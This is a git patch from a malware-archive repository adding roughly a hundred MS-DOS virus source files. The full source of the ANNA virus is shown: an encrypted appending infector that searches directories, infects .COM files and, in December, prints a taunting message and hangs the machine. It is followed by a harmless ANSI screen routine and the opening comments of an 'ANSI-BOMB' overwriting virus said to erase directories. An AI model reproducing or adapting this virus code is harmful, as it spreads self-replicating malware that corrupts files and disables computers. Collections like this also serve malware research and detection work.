From d3381d8e020549669484535cd65530b1abcae392 Mon Sep 17 00:00:00 2001 From: vxunderground <57078196+vxunderground@users.noreply.github.com> Date: Tue, 12 Jan 2021 17:31:39 -0600 Subject: [PATCH] Add files via upload --- MSDOS/Virus.MSDOS.Unknown.anna.asm | 266 +++ MSDOS/Virus.MSDOS.Unknown.ansi.asm | 431 +++++ MSDOS/Virus.MSDOS.Unknown.ansibomb.asm | 71 + MSDOS/Virus.MSDOS.Unknown.anthrax.asm | 450 +++++ MSDOS/Virus.MSDOS.Unknown.anti-exe.asm | 460 +++++ MSDOS/Virus.MSDOS.Unknown.anti-mon.asm | 271 +++ MSDOS/Virus.MSDOS.Unknown.anti_daf.asm | 290 +++ MSDOS/Virus.MSDOS.Unknown.anticaro.asm | 462 +++++ MSDOS/Virus.MSDOS.Unknown.anticmos.asm | 303 ++++ MSDOS/Virus.MSDOS.Unknown.anticst.asm | 583 ++++++ MSDOS/Virus.MSDOS.Unknown.antieta.asm | 2305 ++++++++++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.antiexe.asm | 285 +++ MSDOS/Virus.MSDOS.Unknown.antig.asm | 427 +++++ MSDOS/Virus.MSDOS.Unknown.antiivt.asm | 164 ++ MSDOS/Virus.MSDOS.Unknown.antipas.asm | 315 ++++ MSDOS/Virus.MSDOS.Unknown.antitbc.asm | 176 ++ MSDOS/Virus.MSDOS.Unknown.ap-400.asm | 270 +++ MSDOS/Virus.MSDOS.Unknown.ap-440.asm | 284 +++ MSDOS/Virus.MSDOS.Unknown.ap-480.asm | 316 ++++ MSDOS/Virus.MSDOS.Unknown.ap-529.asm | 341 ++++ MSDOS/Virus.MSDOS.Unknown.ap-605.asm | 391 ++++ MSDOS/Virus.MSDOS.Unknown.apocalyp.asm | 677 +++++++ MSDOS/Virus.MSDOS.Unknown.apoxy.asm | 654 +++++++ MSDOS/Virus.MSDOS.Unknown.append.asm | 98 + MSDOS/Virus.MSDOS.Unknown.april30.a86 | 254 +++ MSDOS/Virus.MSDOS.Unknown.april30.asm | 254 +++ MSDOS/Virus.MSDOS.Unknown.arara1.a86 | 420 +++++ MSDOS/Virus.MSDOS.Unknown.arara1.asm | 420 +++++ MSDOS/Virus.MSDOS.Unknown.arbeit.asm | 290 +++ MSDOS/Virus.MSDOS.Unknown.archer.asm | 455 +++++ MSDOS/Virus.MSDOS.Unknown.archive.asm | 317 ++++ MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm | 138 ++ MSDOS/Virus.MSDOS.Unknown.armag911.asm | 641 +++++++ MSDOS/Virus.MSDOS.Unknown.armagedo.asm | 524 ++++++ MSDOS/Virus.MSDOS.Unknown.arsonic.asm | 70 + MSDOS/Virus.MSDOS.Unknown.art-b.asm | 497 +++++ MSDOS/Virus.MSDOS.Unknown.asex_099.asm | 862 +++++++++ MSDOS/Virus.MSDOS.Unknown.asexual.asm | 789 ++++++++ MSDOS/Virus.MSDOS.Unknown.askascii.asm | 89 + MSDOS/Virus.MSDOS.Unknown.asm_8080.inc | 1060 +++++++++++ MSDOS/Virus.MSDOS.Unknown.assassin.asm | 553 ++++++ MSDOS/Virus.MSDOS.Unknown.atomc350.asm | 162 ++ MSDOS/Virus.MSDOS.Unknown.atomic.asm | 257 +++ MSDOS/Virus.MSDOS.Unknown.attr.asm | 216 +++ MSDOS/Virus.MSDOS.Unknown.attrib.asm | 562 ++++++ MSDOS/Virus.MSDOS.Unknown.auvstiny.asm | 23 + MSDOS/Virus.MSDOS.Unknown.avenger.asm | 1024 +++++++++++ MSDOS/Virus.MSDOS.Unknown.avengsrc.asm | 999 ++++++++++ MSDOS/Virus.MSDOS.Unknown.avpaids.asm | 327 ++++ MSDOS/Virus.MSDOS.Unknown.azrael.asm | 275 +++ MSDOS/Virus.MSDOS.Unknown.azusa.asm | 284 +++ MSDOS/Virus.MSDOS.Unknown.b1.asm | 362 ++++ MSDOS/Virus.MSDOS.Unknown.babybug.asm | 305 ++++ MSDOS/Virus.MSDOS.Unknown.bac.asm | 364 ++++ MSDOS/Virus.MSDOS.Unknown.bad_reli.asm | 218 +++ MSDOS/Virus.MSDOS.Unknown.badattit.asm | Bin 0 -> 8535 bytes MSDOS/Virus.MSDOS.Unknown.badboy.asm | 509 ++++++ MSDOS/Virus.MSDOS.Unknown.badboy2.asm | 510 ++++++ MSDOS/Virus.MSDOS.Unknown.barney.asm | 323 ++++ MSDOS/Virus.MSDOS.Unknown.basho.asm | 331 ++++ MSDOS/Virus.MSDOS.Unknown.batch.asm | 237 +++ MSDOS/Virus.MSDOS.Unknown.batvir.asm | 237 +++ MSDOS/Virus.MSDOS.Unknown.bb.asm | 567 ++++++ MSDOS/Virus.MSDOS.Unknown.bbnop.asm | 540 ++++++ MSDOS/Virus.MSDOS.Unknown.bbrains.asm | 276 +++ MSDOS/Virus.MSDOS.Unknown.bbs-1258.zip | Bin 0 -> 5313 bytes MSDOS/Virus.MSDOS.Unknown.beast-b.asm | 337 ++++ MSDOS/Virus.MSDOS.Unknown.beavis.asm | 381 ++++ MSDOS/Virus.MSDOS.Unknown.bedtime.asm | 1315 ++++++++++++++ MSDOS/Virus.MSDOS.Unknown.berylium.a86 | 422 +++++ MSDOS/Virus.MSDOS.Unknown.bin-obs.asm | 292 +++ MSDOS/Virus.MSDOS.Unknown.bin_acid.asm | 357 ++++ MSDOS/Virus.MSDOS.Unknown.bio.asm | 341 ++++ MSDOS/Virus.MSDOS.Unknown.bio2.asm | 317 ++++ MSDOS/Virus.MSDOS.Unknown.bird.a86 | 295 +++ MSDOS/Virus.MSDOS.Unknown.bird.asm | 295 +++ MSDOS/Virus.MSDOS.Unknown.bitter.asm | 347 ++++ MSDOS/Virus.MSDOS.Unknown.bizatch.asm | 814 +++++++++ MSDOS/Virus.MSDOS.Unknown.bizatch.zip | Bin 0 -> 89300 bytes MSDOS/Virus.MSDOS.Unknown.bjec-3.asm | 127 ++ MSDOS/Virus.MSDOS.Unknown.bjec-4.asm | 134 ++ MSDOS/Virus.MSDOS.Unknown.bjec-5.asm | 143 ++ MSDOS/Virus.MSDOS.Unknown.bjec-6.asm | 147 ++ MSDOS/Virus.MSDOS.Unknown.bjec-7.asm | 153 ++ MSDOS/Virus.MSDOS.Unknown.bjec-8.asm | 183 ++ MSDOS/Virus.MSDOS.Unknown.bjec-9.asm | 189 ++ MSDOS/Virus.MSDOS.Unknown.blah.asm | 681 +++++++ MSDOS/Virus.MSDOS.Unknown.blknight.asm | 391 ++++ MSDOS/Virus.MSDOS.Unknown.bloody.asm | 280 +++ MSDOS/Virus.MSDOS.Unknown.bluenine.asm | 576 ++++++ MSDOS/Virus.MSDOS.Unknown.bob.asm | 247 +++ MSDOS/Virus.MSDOS.Unknown.bobvirus.asm | 565 ++++++ MSDOS/Virus.MSDOS.Unknown.bogus.asm | 193 ++ MSDOS/Virus.MSDOS.Unknown.bomb.asm | 353 ++++ MSDOS/Virus.MSDOS.Unknown.bomb.lst | 2039 +++++++++++++++++++++ MSDOS/Virus.MSDOS.Unknown.boot.asm | 248 +++ MSDOS/Virus.MSDOS.Unknown.boot1.asm | 232 +++ MSDOS/Virus.MSDOS.Unknown.boot2.asm | 413 +++++ MSDOS/Virus.MSDOS.Unknown.boot_vir.asm | 315 ++++ 99 files changed, 39953 insertions(+) create mode 100644 MSDOS/Virus.MSDOS.Unknown.anna.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ansi.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ansibomb.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anthrax.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anti-exe.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anti-mon.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anti_daf.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anticaro.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anticmos.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.anticst.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antieta.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antiexe.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antig.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antiivt.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antipas.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.antitbc.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ap-400.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ap-440.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ap-480.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ap-529.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.ap-605.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.apocalyp.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.apoxy.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.append.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.april30.a86 create mode 100644 MSDOS/Virus.MSDOS.Unknown.april30.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.arara1.a86 create mode 100644 MSDOS/Virus.MSDOS.Unknown.arara1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.arbeit.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.archer.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.archive.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.arcvsmal.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.armag911.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.armagedo.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.arsonic.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.art-b.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.asex_099.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.asexual.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.askascii.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.asm_8080.inc create mode 100644 MSDOS/Virus.MSDOS.Unknown.assassin.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.atomc350.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.atomic.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.attr.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.attrib.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.auvstiny.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.avenger.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.avengsrc.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.avpaids.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.azrael.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.azusa.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.b1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.babybug.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bac.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bad_reli.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.badattit.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.badboy.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.badboy2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.barney.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.basho.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.batch.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.batvir.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bb.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bbnop.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bbrains.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bbs-1258.zip create mode 100644 MSDOS/Virus.MSDOS.Unknown.beast-b.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.beavis.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bedtime.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.berylium.a86 create mode 100644 MSDOS/Virus.MSDOS.Unknown.bin-obs.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bin_acid.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bio.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bio2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bird.a86 create mode 100644 MSDOS/Virus.MSDOS.Unknown.bird.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bitter.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bizatch.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bizatch.zip create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-3.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-4.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-5.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-6.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-7.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-8.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bjec-9.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.blah.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.blknight.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bloody.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bluenine.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bob.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bobvirus.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bogus.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bomb.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.bomb.lst create mode 100644 MSDOS/Virus.MSDOS.Unknown.boot.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.boot1.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.boot2.asm create mode 100644 MSDOS/Virus.MSDOS.Unknown.boot_vir.asm diff --git a/MSDOS/Virus.MSDOS.Unknown.anna.asm b/MSDOS/Virus.MSDOS.Unknown.anna.asm new file mode 100644 index 00000000..d0e89deb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.anna.asm @@ -0,0 +1,266 @@ + + Name ANNA + Page 55,132 + Title ???? + +len equ offset marker+5-offset main2 +level1len equ offset level1-offset main3 +level2len equ offset level2-offset main3 + +code segment + + assume cs:code,ds:code,es:code + + org 0100h + +main: xor si,si + call level2 + call level1 + jmp main2 + dd 0h + +main2: call nextline +nextline: pop ax + sub ax,offset nextline + xchg si,ax + call level1 + call level2 +main3: mov ax,word ptr ds:[oldstart+si] + mov cx,word ptr ds:[oldstart+si+2] + mov ds:[0100h],ax + mov ds:[0102h],cx + +getdate: mov ah,2ah + int 21h + jnc notexit + +lexit: jmp exit + +notexit: cmp dh,0ch + jne getdir + + jmp activ8 + +getdir: mov ah,47h + mov dl,00h + push si + lea bx,(curdir+si) + mov si,bx + int 21h + jc lexit + + pop si + mov byte ptr ds:[flag+si],00h + +setdta: mov ah,1ah + lea dx,(buff+si) + int 21h + +findfile: mov ah,4eh + mov cx,00h + lea dx,(search1+si) + int 21h + jnc openup + + cmp al,12h + jne lexit + jmp next_dir + + +openup: mov ah,3dh + mov al,02h + lea dx,(buff+1eh+si) + int 21h + jc lexit + mov ds:[handle+si],ax + +movepoint: mov ax,4202h + mov bx,ds:[handle+si] + mov cx,0ffffh + mov dx,0fffbh + int 21h + jc lclose + jmp checkmark + +lclose: jmp close + +checkmark: mov ah,3fh + mov bx,ds:[handle+si] + mov cx,05h + lea dx,(check+si) + int 21h + jc lclose + lea di,(marker+si) + lea ax,(check+si) + xchg si,ax + mov cx,05h +compare: cmpsb + jnz infect + loop compare + xchg si,ax + jmp next_file + + +infect: xchg si,ax + mov ax,4200h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + jc lclose + mov ah,3fh + mov bx,ds:[handle+si] + lea dx,(oldstart+si) + mov cx,4 + int 21h + jc lclose + mov ax,4202h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + jc lclose + sub ax,3h + mov word ptr ds:[jump+1+si],ax + call save + mov ax,4200h + mov bx,ds:[handle+si] + xor cx,cx + xor dx,dx + int 21h + mov ah,40h + mov bx,ds:[handle+si] + mov cx,3 + lea dx,(jump+si) + int 21h + mov ah,3bh + lea dx,(bkslash+si) + int 21h + + + jmp close + +next_dir: cmp ds:[dir_count],20 + je exit + mov ah,1ah + lea dx,(buff2+si) + int 21h + mov ah,3bh + lea dx,(bslsh+si) + int 21h + cmp byte ptr ds:[flag+si],00h + jne nextdir2 + mov byte ptr ds:[flag+si],0ffh + mov ah,4eh + lea dx,(search2+si) + xor cx,cx + mov bx,cx + mov cl,10h + int 21h + jc exit + jmp chdir + +nextdir2: mov ah,4fh + int 21h + jc exit + + inc ds:[dir_count+si] + +chdir: mov ah,3bh + lea dx,(buff2+1eh+si) + int 21h + jmp setdta + +activ8: mov ah,09h + lea dx,(msg+si) + int 21h +crash: jmp crash + + +close: mov ah,3eh + mov bx,ds:[handle+si] + int 21h + +runold: mov ax,0100h + jmp ax + +next_file: mov ah,3eh + mov bx,ds:[handle+si] + int 21h + + mov ah,4fh + int 21h + jc next_dir + + jmp openup + +exit: mov ah,3bh + lea dx,(curdir+si) + int 21h + jmp runold + +info db '[ANNA]',00h + db 'Slartibartfast, ARCV NuKE the French',00h + + +msg db 0dh,0ah,07h,0dh + db ' Have a Cool Yule from the ARcV',0dh,0ah + db ' xCept Anna Jones',0dh,0ah + db 'I hope you get run over by a Reindeer',0dh,0ah + db ' Santas bringin',39,' you a Bomb',0dh,0ah + db ' All my Lurve - SLarTiBarTfAsT',0dh,0ah + db '(c) ARcV 1992 - England Raining Again',0dh,0ah + db '$' + +oldstart: mov ah,4ch + int 21h + +jump db 0e9h,0,0 +flag db 00h +bslsh db '\',00h +search2 db '*. ',00h +search1 db '*.com',00h + +level2: lea di,(main3+si) + mov cx,level2len +enc2: mov al,byte ptr ds:[di] + rol al,4 + stosb + loop enc2 + ret + +level1: lea di,(main3+si) + mov cx,level1len +inc1: xor byte ptr ds:[di],01h +key: inc di + loop inc1 + ret + +save: inc byte ptr ds:[key-1+si] + call level2 + call level1 + mov ah,40h + mov bx,ds:[handle+si] + mov cx,len + lea dx,(main2+si) + int 21h + call level1 + call level2 + ret + + +marker db 'ImIr8' + +bkslash db '\' +curdir db 64 dup (0) +handle dw 0h +buff db 60h dup (0) +buff2 db 60h dup (0) +check db 5 dup (?) +dir_count dw 0h + + + +code ends + +end main \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.ansi.asm b/MSDOS/Virus.MSDOS.Unknown.ansi.asm new file mode 100644 index 00000000..3a1c213c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ansi.asm @@ -0,0 +1,431 @@ +; this is ripped off from pd code in RBBS-ASM (was ANSI1-7.ASM) +; has been heavily modified by M. Kimes, who isn't much of an +; asm-programmer. Now works with C in a strange way and supports +; configurable window. It's momma wouldn't know it now (and probably +; would claim it's the type of program she warned it about). +; I reckon it was public domain before, and still is. +; +; int far pascal ansi (char far *str); +; void far pascal setcoords (int topx,int topy,int botx,int boty); +; void far pascal getcoords (int far *topx,int far *topy,int far *botx,int far *boty); +; void far pascal setfastansi (int fast); +; + +.model large + +ANSI_PRNT SEGMENT PUBLIC 'CODE' + ASSUME CS:ANSI_PRNT + PUBLIC ANSI,SETCOORDS,GETCOORDS,SETFASTANSI,GETFASTANSI + PUBLIC _atop,_atopy,_atopx,_abot,_aboty,_abotx,_fastansiout + +VID_PAGE DB 0 ;Active video page +_atop LABEL WORD +_atopy DB 0 ;top y coord +_atopx DB 0 ;top x coord +_abot LABEL WORD +_aboty DB 17h ;bottom y coord +_abotx DB 4Fh ;bottom x coord +_fastansiout DB 1 ;fast ansi writes? + + +GETCOORDS PROC FAR ;void pascal far getcoords(int *topx,int *topy, + ; int *botx,int *boty); + +; get window coordinates (0 based) + + PUSH BP + MOV BP,SP + PUSH DS + MOV AH,0 + MOV AL,_atopx + MOV BX,[BP]+18 + MOV DS,[BP]+20 + MOV [BX],AX + MOV AL,_atopy + MOV DS,[BP]+16 + MOV BX,[BP]+14 + MOV [BX],AX + MOV AL,_abotx + MOV DS,[BP]+12 + MOV BX,[BP]+10 + MOV [BX],AX + MOV AL,_aboty + MOV DS,[BP]+8 + MOV BX,[BP]+6 + MOV [BX],AX + POP DS + POP BP + RET 16 + +GETCOORDS ENDP + +SETCOORDS PROC FAR ;void pascal far setcoords(int topx,int topy, + ; int botx,int boty); + +; set window coordinates (0 based) + + PUSH BP + MOV BP,SP + MOV AH,[BP]+12 + MOV _atopx,AH + MOV AH,[BP]+10 + MOV _atopy,AH + MOV AH,[BP]+8 + MOV _abotx,AH + MOV AH,[BP]+6 + MOV _aboty,AH + POP BP + RET 8 + +SETCOORDS ENDP + + + +SETFASTANSI PROC FAR ;void pascal far setfastansi(int fast); + +; set fast ansi (0 = off, ffh = BIOS) + + PUSH BP + MOV BP,SP + MOV AH,[BP]+6 + MOV _fastansiout,AH + POP BP + RET 2 + +SETFASTANSI ENDP + + + +GETFASTANSI PROC FAR ;int pascal far getfastansi(void); + +; get fast ansi setting (0 = off) + + XOR AX,AX + MOV AH,_fastansiout + RET + +GETFASTANSI ENDP + + + +ANSI PROC FAR ;int pascal far ansi(char far *str); + +; display a string through DOS' ANSI driver, respecting a window + + PUSH BP ;set up stack frame + MOV BP,SP + + PUSH DS ;save ds + + MOV AH,15 ;get current video state + INT 10H + MOV VID_PAGE,BH ;save it + + MOV BX,[BP]+6 ;get string address + MOV DS,[BP]+8 ;set ds + PUSH BX ;save original address + MOV CX,BX + XOR AX,AX + +ALOOP: + CALL DOCHECKPOS + MOV AL,[BX] ;set al to char to print + CMP AL,10 ;\n? + JNZ CHKCR ;no + MOV DX,AX + MOV AH,2 + INT 21H ;display it + CALL DOCHECKPOS + MOV AL,13 ;and do cr + JMP NOEXIT1 +CHKCR: + CMP AL,13 ;\r? + JNZ CHKANSI ;no + MOV DX,AX + MOV AH,2 + INT 21H ;display it + CALL DOCHECKPOS + MOV AL,10 ;and do lf + JMP NOEXIT1 +CHKANSI: + CMP AL,27 ;escape? + JNZ GOON ;no, skip all this... + CMP BYTE PTR [BX]+1,'[' ; check for various ansi + JNZ GOON ; commands that would screw + CMP BYTE PTR [BX]+2,'2' ; up our window + JNZ GOON1 ; \x1b[2J + CMP BYTE PTR [BX]+3,'J' + JNZ GOON2 + ADD BX,4 + CALL CLEARSCRN + JMP SHORT ALOOP +GOON1: + CMP BYTE PTR [BX]+2,'K' ; \x1b[K + JNZ GOON3 + ADD BX,3 + CALL CLEARLINE + JMP SHORT ALOOP +GOON3: + CMP BYTE PTR [BX]+2,'k' ;\x1b[k + JNZ GOON + ADD BX,3 + CALL CLEAREOL + JMP SHORT ALOOP +GOON2: + CMP BYTE PTR [BX]+3,'j' ;\x1b[2j + JNZ GOON + ADD BX,4 + CALL CLEAREOS + JMP ALOOP +GOON: + CMP AL,0 ;End of string? + JNZ NOEXIT1 + JMP SHORT EXIT1 +NOEXIT1: + CMP _fastansiout,0 ;fast ansi writes? + JZ BIOSWRITES ;nope + INT 29H + JMP SHORT SKIPSLOW +BIOSWRITES: + CMP _fastansiout,255 ;bios writes? + JZ SLOWWRITES ;nope + PUSH BX + PUSH CX + MOV BH,VID_PAGE + INT 10H + POP CX + POP BX + JMP SHORT SKIPSLOW +SLOWWRITES: + MOV DX,AX + MOV AH,2 + INT 21H ;display it +SKIPSLOW: + INC BX + CMP BYTE PTR [BX],0 ;end of string? + JZ EXIT1 ;yep + CMP BX,CX ;string too long? + JZ EXIT1 ;yep, it wrapped; avoid crash + JMP ALOOP ;nope +EXIT1: ;wrap it up... + CALL DOCHECKPOS + POP AX ;retrieve old start pos + SUB BX,AX ;subtract from current pos + MOV AX,BX ;return length of string printed + + POP DS + POP BP + RET 4 + +ANSI ENDP + + + +DOCHECKPOS: ;check cursor pos, protect window + PUSH AX ;Save the registers that will be affected + PUSH BX + PUSH CX + PUSH DX + CALL WHERE_ARE_WE ; where the cursor is....... +CHECKTOPX: + CMP DL,_atopx + JGE CHECKBOTX + MOV AH,2 + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + JMP SHORT CHECKTOPY +CHECKBOTX: + CMP DL,_abotx + JLE CHECKTOPY + MOV DL,_atopx + INC DH + MOV AH,2 + MOV BH,VID_PAGE + INT 10H +CHECKTOPY: + CMP DH,_atopy + JGE CHECKBOTY + MOV AH,2 + MOV DH,_atopy + MOV BH,VID_PAGE + INT 10H + JMP SHORT OUTTAHERE +CHECKBOTY: + CMP DH,_aboty ; Row ??? + JLE OUTTAHERE ; Jump if less + CALL SCROLLIT ; else scroll, we're too low + MOV DH,_aboty ; put cursor back in window + MOV BH,VID_PAGE + INT 10H +OUTTAHERE: + POP DX ;Restore registers + POP CX + POP BX + POP AX + RET + + +WHERE_ARE_WE: ;Get the current cursor position + PUSH AX ;Save the registers + PUSH BX + PUSH CX + MOV AH,03 ;SET UP FOR ROM-BIOS CALL (03H) + MOV BH,VID_PAGE ;TO READ THE CURRENT CURSOR POSITION + INT 10H ; DH = ROW DL = COLUMN + POP CX ;Restore the registers + POP BX + POP AX + RET ;And go back from wence we came + + +SCROLLIT: PUSH AX ;Save the registers that will be affected + PUSH BX + PUSH CX + PUSH DX + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE ;attribute + INT 10H + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,1 ;Only blank line ??? + MOV CH,_atopy + MOV CL,_atopx + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEARSCRN: ;Clear current window + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE ;attribute + INT 10H +; MOV AH,8 ;Get the current character attribute +; MOV BH,VID_PAGE +; INT 10H +; MOV BH,AH ;Transfer the attribute to BH for next call + MOV BH,7 + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear screen + MOV CH,_atopy + MOV CL,_atopx + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_atopy + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEAREOS: ;Clear to end of current window + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV CX,DX + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEARLINE: ;Clear current line + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ; clear line + MOV CX,DX + MOV CL,_atopx + MOV DL,_abotx + INT 10H ; And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEAREOL: ;Clear to end of current line + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear line + MOV CX,DX + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +ANSI_PRNT ENDS + END diff --git a/MSDOS/Virus.MSDOS.Unknown.ansibomb.asm b/MSDOS/Virus.MSDOS.Unknown.ansibomb.asm new file mode 100644 index 00000000..df11c355 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ansibomb.asm @@ -0,0 +1,71 @@ +;| +;| ANSI-BOMB BY TESLA 5 +;| +;| THIS VIRUS IS LOSELY BASED ON THE WEFLOW 1993 VIRUS, WHICH WAS BASED +;| ON TRIDENT OVERWRITING VIRUS, MADE BY .... OF TRIDENT. DON'T TYPE +;| THIS FILE, OR WHEN YOU PRESS 'ENTER' YOUR DIR WILL BE ERASED. GREETINGS +;| TO TRIDENT, NUKE, PHALCOM/SKISM AND YAM. YOU DON'T KNOW ME, BUT I DO +;| KNOW YOU. APOLOGIES TO TRIDENT THAT I MADE THESE LAME VARIANTS OF 